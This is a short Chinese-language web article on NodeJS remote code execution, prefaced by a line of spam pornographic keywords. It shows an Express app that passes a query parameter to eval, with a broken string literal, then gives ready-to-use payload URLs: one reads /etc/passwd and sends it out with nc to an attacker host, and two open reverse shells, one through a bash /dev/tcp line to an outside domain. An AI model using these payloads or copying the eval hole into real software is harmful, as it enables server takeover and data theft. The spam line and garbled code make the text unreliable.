欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

NodeJS遠(yuǎn)程代碼執(zhí)行

 更新時(shí)間:2016年08月28日 15:30:03   投稿:hebedich  
這篇文章主要介紹了NodeJS遠(yuǎn)程代碼執(zhí)行方法的相關(guān)資料,需要的朋友可以參考下

背景

@Artsploit在挖PayPal的漏洞時(shí),發(fā)現(xiàn)一處NodeJS代碼執(zhí)行,獎(jiǎng)勵(lì)$10000美金。

測(cè)試

var express = require('express'); 
var app = express(); 
app.get('/', function (req, res) { 
  res.send('Hello eval(req.query.q));
  console.log(req.query.q);
});
app.listen(8080, function () { 
  console.log('Example listening on port 8080!');
});

任意文件讀取

http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')

GET SHELL

http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

GET SHELL2

http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')

相關(guān)文章

最新評(píng)論